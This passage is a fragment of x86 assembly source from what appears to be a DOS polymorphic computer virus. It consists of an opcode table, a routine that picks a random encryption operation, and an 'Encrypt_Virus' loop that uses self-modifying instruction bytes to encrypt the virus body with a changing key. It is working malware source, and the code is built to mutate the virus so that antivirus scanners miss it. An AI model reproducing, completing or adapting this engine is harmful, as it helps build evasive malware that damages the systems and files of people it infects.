|
||
db 29h ;SUB
|
||
db 03h ;ADD reg,reg
|
||
db 28h
|
||
|
||
Rand3:
|
||
;Gets a number in ax, either 0,4,8, and indexes SI that distance into
|
||
;enc_table.
|
||
encrypt_rand:
|
||
call get_rand
|
||
mov cx,3
|
||
xor dx,dx
|
||
div cx
|
||
mov ax,dx
|
||
xor dx,dx
|
||
mul cx
|
||
mov si,offset enc_table
|
||
add si,ax
|
||
ret
|
||
|
||
Encrypt_Virus:
|
||
mov si,word ptr saved_si
|
||
mov cx,word ptr saved_cx
|
||
inc cx
|
||
shr cx,1
|
||
mov bx,word ptr xorval
|
||
enc_loop:
|
||
lodsw
|
||
|
||
;op ax,bx
|
||
encbyte db 0 ;op
|
||
db 0c3h
|
||
|
||
db 81h
|
||
encb2 db 0
|
||
encval2 dw 0
|
||
|
||
stosw
|
||
loop enc_loop
|
||
ret
|
||
|